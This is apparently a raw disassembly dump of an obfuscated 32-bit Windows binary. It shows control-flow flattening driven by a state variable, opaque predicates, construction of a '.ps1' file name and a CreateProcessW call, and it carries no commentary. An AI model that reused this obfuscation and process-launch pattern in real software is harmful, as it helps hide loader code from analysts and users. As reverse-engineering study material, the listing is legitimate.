mov dword [esi + 0xc], eax
call fcn.0042033c
mov eax, 0x29580c1c
cmp edi, 0x39c0
jae 0x4239a7
mov eax, 0x978cfc5f
jmp 0x4239a7
mov eax, dword [esi + 8]
shr eax, 0xf
imul eax, eax, 0x40b0
add eax, 0xffffff46
shr eax, 0xa
add eax, 0x7d
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc4c9c286
jmp 0x420356
push 0x400
push 0
push dword [esi + 0x34]
call fcn.00432cd0
add esp, 0xc
mov dword [esi + 4], 0xc6f5211
jmp 0x420356
mov eax, dword [esi + 0x5c]
movzx ecx, word [0x454ad6]
mov word [eax + 8], cx
mov ecx, dword [0x454ad2]
mov dword [eax + 4], ecx
mov ecx, dword [str..ps1]
mov dword [eax], ecx
push dword [esi + 0x5c]
push dword [esi + 0x14]
call fcn.00440006
add esp, 8
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0xfd1ed99f
jmp 0x420356
mov eax, dword [esi + 0x118]
mov word [eax], 0
mov dword [esi + 4], 0x6c5bacf
jmp 0x420356
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0x51900571
jmp 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0xf
or eax, 0x9e
lea eax, [eax + eax*2]
shl eax, 6
add eax, 0xffffffbc
mov dword [esi + 0xc], eax
push 0x1f40
push 0x600f
push eax
call 0x423c78
add esp, 0xc
mov dword [esi + 4], 0x8d6667c8
jmp 0x420356
movzx eax, word [esi + 0xe]
imul edi, eax, 0x6d
mov eax, edi
shr eax, 0xa
mov dword [esi + 0xc], eax
push 0x2feb
push eax
push 0x2406
call 0x423c78
add esp, 0xc
mov eax, 0xdd6bf
cmp edi, 0x36800
jae 0x4239a7
mov eax, 0xb5726028
jmp 0x4239a7
cmp dword [esi + 0x15c], 0
sete byte [esi + 0x27]
mov dword [esi + 4], 0x951b105
jmp 0x420356
imul eax, dword [esi + 8], 0xd4
shr eax, 0xf
mov dword [esi + 8], eax
mov dword [esi + 4], 0x293a4e14
jmp 0x420356
imul ecx, dword [esi + 0xc], 0xcd
add ecx, 0x1e482
mov dword [esi + 0xc], ecx
mov eax, 0xea0119b0
cmp ecx, 0x68
jb 0x4239a7
mov eax, 0x7576378
jmp 0x4239a7
push 2
push 0x454b1f
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xd2a57dd6
test eax, eax
je 0x423abc
mov ecx, 0x783a9b22
jmp 0x423abc
mov edi, dword [esi + 0x104]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x44
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x30]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], ebx
mov dword [eax + 4], ebx
mov dword [eax], ebx
push dword [esi + 0x30]
push dword [esi + 0x2c]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [esi + 0x30]
mov eax, dword [eax]
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0x8eb6d7dd
jmp 0x420356
mov edi, dword [esi + 0xc]
add edi, 0x7f
mov dword [esi + 0xc], edi
call fcn.0042033c
call fcn.0042033c
mov eax, 0x8792345a
cmp edi, 0x2e
je 0x4239a7
mov eax, 0x5aed916e
jmp 0x4239a7
push 0x400
push 0
push dword [esi + 0x28]
call fcn.00432cd0
add esp, 0xc
push 0x200
push dword [esi + 0xa0]
push dword [esi + 0x28]
call fcn.0043c57c
add esp, 0xc
mov dword [esi + 4], 0x9afd583
jmp 0x420356
mov eax, dword [esi + 0xa8]
inc eax
mov dword [esi + 0x148], eax
mov ecx, dword [esi + 0x140]
mov edx, dword [esi + 0xa8]
mov eax, 0x84d457ee
cmp edx, ecx
je 0x4239a7
mov eax, 0x741bc2e2
jmp 0x4239a7
mov eax, dword [esi + 8]
add eax, 0x72
mov ecx, eax
shl ecx, 0xd
imul eax, eax
imul edx, eax, 0x3939
dec edx
add ecx, 0xfff28000
mov dword [esi + 8], ecx
mov ecx, 0x7576378
cmp eax, edx
je 0x423abc
mov ecx, 0x3e9cebff
jmp 0x423abc
mov eax, dword [esi + 8]
mov ecx, 0xffffff20
add eax, ecx
mov ecx, eax
imul ecx, eax
shl eax, 0xd
imul edx, ecx, 0x2c21
dec edx
mov dword [esi + 8], eax
mov eax, 0xdd6bf
cmp ecx, edx
je 0x4239a7
mov eax, 0xce2346b8
jmp 0x4239a7
push dword [esi + 0x80]
call fcn.0040169e
add esp, 4
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0x55039a94
jmp 0x420356
push 0x454b1f
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xc8], eax
push 0x454b21
push dword [esi + 0x10]
call fcn.0040142a
add esp, 8
fnstcw word [esi + 0x48]
movzx eax, word [esi + 0x48]
or eax, 0xc00
mov word [esi + 0xb2], ax
fldcw word [esi + 0xb2]
fistp dword [esi + 0xe8]
fldcw word [esi + 0x48]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0x8928d3c3
jmp 0x420356
mov dword [esi + 4], 0xfa989478
jmp 0x420356
mov dword [esi + 4], 0x465585f3
jmp 0x420356
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x7c]
mov word [ecx + eax*2], 0
mov dword [esi + 4], 0x1a6735c0
jmp 0x420356
mov eax, dword [esi + 8]
shl eax, 4
and eax, 0x3ffff0
imul eax, eax, 0xf1
add eax, 0xffff4fe8
mov dword [esi + 8], eax
mov dword [esi + 4], 0xacefb05c
jmp 0x420356
mov edi, dword [esi + 0xc]
mov eax, 0x1ca
add edi, eax
shr edi, 5
add edi, 0xffffff81
mov eax, edi
shr eax, 8
mov dword [esi + 0xc], eax
call fcn.0040560b
call fcn.0042033c
mov eax, 0x1964a6a8
cmp edi, 0x7c00
jae 0x423985
jmp 0x4239a7
push 0x454b1b
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xd4], eax
mov dword [esi + 4], 0xd797924a
jmp 0x420356
call fcn.0040720b
push 2
push 0x454b1b
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xc188efd3
test eax, eax
je 0x423abc
mov ecx, 0x14bd0cb5
jmp 0x423abc
mov eax, dword [esi + 8]
shl eax, 0x14
add eax, 0x1ef6495
mov dword [esi + 8], eax
mov dword [esi + 4], 0x67e8ee27
jmp 0x420356
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 3
shr ecx, 9
imul eax, eax
imul edx, eax, 0x7849
dec edx
imul ecx, ecx, 0xa4
mov dword [esi + 8], ecx
mov ecx, 0x89170e67
cmp edx, eax
je 0x423abc
mov ecx, 0x385efa87
jmp 0x423abc
mov edi, dword [esi + 0xc]
shr edi, 8
and edi, 0xffffffe0
mov dword [esi + 0xc], edi
call fcn.0040560b
mov eax, 0x72c45320
cmp edi, 0xa1
jb 0x4239a7
mov eax, 0x410b6d0d
jmp 0x4239a7
mov edi, dword [esi + 0xc]
mov eax, edi
shr eax, 6
mov dword [esi + 0xc], eax
call fcn.0040560b
mov eax, 0x89170e67
cmp edi, 0x800
jb 0x4239a7
mov eax, 0xd818de76
jmp 0x4239a7
mov eax, dword [esi + 8]
shl eax, 4
lea eax, [eax + eax*8]
shr eax, 1
add eax, 0x97
shr eax, 1
imul eax, eax, 0x37
mov dword [esi + 8], eax
mov dword [esi + 4], 0x1c21ad59
jmp 0x420356
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xd3]
imul eax, eax
imul edx, eax, 0x6b2f
dec edx
shl ecx, 0xe
add ecx, 0x8e4000
mov dword [esi + 8], ecx
mov ecx, 0x89170e67
cmp edx, eax
je 0x423abc
mov ecx, 0xd679a096
jmp 0x423abc
mov ecx, dword [esi + 8]
imul eax, ecx, 0x1e0f
imul eax, eax
imul edx, eax, 0x77e1
imul ecx, ecx, 0x1799c7
dec edx
shr ecx, 4
mov dword [esi + 8], ecx
mov ecx, 0xcde2a732
cmp eax, edx
je 0x423abc
mov ecx, 0x729f200d
jmp 0x423abc
call fcn.0043c870
mov ecx, eax
mov edx, 0x2aaaaaab
imul edx
mov eax, edx
shr eax, 0x1f
shr edx, 2
add edx, eax
shl edx, 3
lea eax, [edx + edx*2]
neg eax
add eax, ecx
add eax, 0x61
mov word [esi + 0xb6], ax
mov eax, dword [esi + 0xa8]
lea eax, [esi + eax*2]
add eax, 0x184
mov dword [esi + 0x144], eax
mov dword [esi + 4], 0x723d941a
jmp 0x420356
push 3
push 0x454b21
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0x5ae7cf6
jmp 0x423abc
mov dword [esi + 4], 0xdd15db0d
jmp 0x420356
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x14]
imul eax, eax
imul edx, eax, 0x43b
dec edx
imul ecx, ecx, 0x1ac
add ecx, 0xfffe7a74
mov dword [esi + 8], ecx
mov ecx, 0xb5726028
cmp eax, edx
je 0x423abc
mov ecx, 0xfbf14b31
jmp 0x423abc
mov dword [esi + 4], 0x3e8274d3
jmp 0x420356
push 3
push 0x454b19
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0xcde2a732
jmp 0x423abc
mov eax, dword [esi + 8]
mov ecx, 0xffffff67
add eax, ecx
mov ecx, eax
shr ecx, 3
imul ecx, ecx
imul edx, ecx, 0x2dd
dec edx
shr eax, 0x19
mov dword [esi + 8], eax
mov eax, 0xd818de76
cmp edx, ecx
je 0x4239a7
mov eax, 0xa941ac8c
jmp 0x4239a7
mov eax, dword [esi + 8]
and eax, 0xfffffffc
shl eax, 9
imul eax, eax, 0x4fd4
shr eax, 0xb
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa7d93225
jmp 0x420356
mov eax, dword [esi + 8]
shl eax, 0x13
add eax, 0xffffff9c
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa6935e71
jmp 0x420356
lea eax, [esi + 0x174]
push eax
push 1
call fcn.004196a4
add esp, 8
mov dword [esi + 4], 0x260bbb44
jmp 0x420356
mov eax, dword [esi + 0xbc]
mov dword [esi + 0xe0], eax
mov dword [esi + 4], 0x14e076b
jmp 0x420356
mov eax, dword [esi + 8]
add eax, 0xb
mov ecx, eax
shl ecx, 0x11
imul eax, eax
imul edx, eax, 0x100f
dec edx
add ecx, 0xffffff1a
shr ecx, 8
mov dword [esi + 8], ecx
mov ecx, 0x5aed916e
cmp eax, edx
je 0x423abc
mov ecx, 0xa0869439
jmp 0x423abc
mov ecx, dword [esi + 8]
imul eax, ecx, 0xb9
imul eax, eax
imul edx, eax, 0x13d5
dec edx
imul ecx, ecx, 0x3f86a8
add ecx, 0x9b
mov dword [esi + 8], ecx
mov ecx, 0xe87eaa4a
cmp eax, edx
je 0x423abc
mov ecx, 0x26b14882
jmp 0x423abc
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0xffeaf000
shr eax, 6
add eax, 0x122
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5f4319e1
jmp 0x420356
mov eax, dword [esi + 0x98]
mov ecx, dword [esi + 0x78]
mov word [ecx + eax*2], 0
push dword [esi + 0x9c]
push dword [esi + 0xd8]
push dword [esi + 0x7c]
call fcn.0043c57c
add esp, 0xc
mov dword [esi + 4], 0x8f1d1899
jmp 0x420356
mov ecx, dword [esi + 0xdc]
mov eax, 0x4bded57
cmp ecx, dword [esi + 0x154]
jb 0x4239a7
mov eax, 0xd679a096
jmp 0x4239a7
mov eax, dword [esi + 0xc]
shr eax, 1
imul ecx, eax, 0x55
add ecx, 0x94c
mov dword [esi + 0xc], ecx
mov eax, 0x27508ac
cmp ecx, 0xa9
jae 0x4239a7
mov eax, 0xc4f3998c
jmp 0x4239a7
imul eax, dword [esi + 8], 0x52ec0000
add eax, 0xd78effd6
mov dword [esi + 8], eax
mov dword [esi + 4], 0x33245e78
jmp 0x420356
mov eax, dword [esi + 0xc]
lea eax, [eax*8 + 0x88]
shr eax, 1
and eax, 0xff800
imul edi, eax, 0x64000
mov dword [esi + 0xc], edi
push 0x3734
push edi
push 0x3fc2
call 0x423c78
add esp, 0xc
call fcn.0042033c
mov eax, 0x2756e91f
test edi, edi
je 0x4239a7
mov eax, 0x2ed4b61f
jmp 0x4239a7
push dword [esi + 0xcc]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x90], eax
push dword [esi + 0xd0]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x90]
add eax, eax
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0x58a1ac96
jmp 0x420356
imul eax, dword [esi + 8], 0x32
add eax, 0xffffffd3
shr eax, 0xc
add eax, 0xffffff13
mov dword [esi + 8], eax
mov dword [esi + 4], 0xb5726028
jmp 0x420356
mov dword [esi + 4], 0x50f6307b
jmp 0x420356
mov dword [esi + 4], 0x6351186d
jmp 0x420356
imul ecx, dword [esi + 0xc], 0x3e00
mov dword [esi + 0xc], ecx
mov eax, 0xce552804
cmp ecx, 0x43
jl 0x4239a7
mov eax, 0x1ec15ad4
jmp 0x4239a7
mov ecx, dword [esi + 0xc]
shl ecx, 0x10
mov eax, 0xb2ff0500
add ecx, 0xff850000
mov dword [esi + 0xc], ecx
je 0x4239a7
mov eax, 0x72c45320
mov dword [esi + 4], eax
jmp 0x420356
mov eax, dword [esi + 8]
add eax, 0x7f
mov ecx, eax
shl ecx, 0x15
imul eax, eax
imul edx, eax, 0x6451
dec edx
add ecx, 0xffff3a38
mov dword [esi + 8], ecx
mov ecx, 0x1c553e62
cmp eax, edx
je 0x423abc
mov ecx, 0xee3271ef
jmp 0x423abc
mov dword [esi + 4], 0xdd6bf
jmp 0x420356
mov eax, dword [esi + 0xe0]
inc eax
mov dword [esi + 0xdc], eax
mov dword [esi + 4], 0xbfb0957d
jmp 0x420356
mov eax, dword [esi + 0x8c]
add eax, eax
add eax, 2
push eax
call fcn.0043c534
add esp, 4
mov dword [esi + 0x70], eax
push dword [esi + 0x84]
push dword [esi + 0xc0]
push dword [esi + 0x68]
call fcn.0043c57c
add esp, 0xc
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x68]
mov word [ecx + eax*2], bx
push dword [esi + 0x88]
push dword [esi + 0xc4]
push dword [esi + 0x6c]
call fcn.0043c57c
add esp, 0xc
mov eax, dword [esi + 0x88]
mov ecx, dword [esi + 0x6c]
mov word [ecx + eax*2], bx
push dword [esi + 0x8c]
push dword [esi + 0xc8]
push dword [esi + 0x70]
call fcn.0043c57c
add esp, 0xc
mov eax, dword [esi + 0x8c]
add eax, eax
add eax, dword [esi + 0x70]
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0x521a29f2
jmp 0x420356
push 2
push 0x454b1f
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0x753c369e
mov dword [esi + 4], ecx
jmp 0x420356
lea eax, [esi + 0x184]
push eax
push dword [esi + 0x14]
call fcn.00440006
add esp, 8
mov eax, dword [esi + 0x13c]
test eax, eax
je 0x423b04
cmp eax, 1
je 0x420959
cmp eax, 2
je 0x420ee0
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x14]
mov dword [esi + 4], 0xad6edee
jmp 0x420356
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x366131e
jmp 0x420356
cmp eax, 0xa8456994
je 0x423bdd
jmp 0x420356
cmp eax, 0xe1527318
je 0x423be8
cmp eax, 0xe0135fad
jne 0x420356
jmp 0x423c6c
cmp eax, 0xa22bfdc4
jne 0x420356
jmp 0x423bf3
cmp eax, 0x8a773bbe
jne 0x420356
jmp 0x423c01
cmp eax, 0x464bac92
jne 0x420356
jmp 0x423c25
cmp eax, 0x14529f0f
jne 0x420356
jmp 0x423c35
cmp eax, 0xca12a094
jne 0x420356
jmp 0x423c0f
cmp eax, 0x1cd4584b
jne 0x420356
jmp 0x423c41
cmp eax, 0xb84c4c67
jne 0x420356
jmp 0x423c1a
cmp eax, 0x30d54331
jne 0x420356
jmp 0x423c58
cmp eax, 0xe55eb717
jne 0x420356
imul eax, dword [esi + 0xc], 0x635e
add eax, 0xffffc5ec
shr eax, 0x12
mov dword [esi + 0xc], eax
call fcn.0040560b
mov eax, dword [esi + 0x4c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0xc]
shl eax, 0x15
add eax, 0xffffffec
jmp 0x423c64
and byte [esi + 0xf], 7
call fcn.0042033c
call fcn.00423cb7
imul eax, dword [esi + 0xc], 0xa2
add eax, 0xf6
jmp 0x423c64
mov eax, dword [esi + 0xc]
shr eax, 7
and eax, 0xffffffc0
jmp 0x423c20
mov eax, dword [esi + 0xc]
shl eax, 0x11
lea eax, [eax + eax*4]
jmp 0x423c64
mov eax, dword [esi + 0xc]
shl eax, 0x18
add eax, 0x7900007f
shr eax, 0xd
jmp 0x423c64
mov eax, 0xa2
add eax, dword [esi + 0xc]
shr eax, 1
jmp 0x423c64
imul eax, dword [esi + 0xc], 0x8a00
or eax, 0x8c
imul eax, eax, 0x66
add eax, 9
shr eax, 0xf
jmp 0x423c64
imul eax, dword [esi + 0xc], 0xc8
add eax, 0x2f0a
mov dword [esi + 0xc], eax
call fcn.00423cb7
mov dword [esi + 0xc], 0
call fcn.0040560b
push ebp
push ebx
push edi
push esi
push eax
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
lea ebp, [esp + 0x24]
mov dword [esp], ebp
call fcn.0040560b
push ebp
push 0
push ebx
push edi
push esi
push dword [eax + 4]
push dword [eax]
call fcn.00433221
add esp, 0x1c
test eax, eax
jns 0x423caf
xor eax, eax
dec eax
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret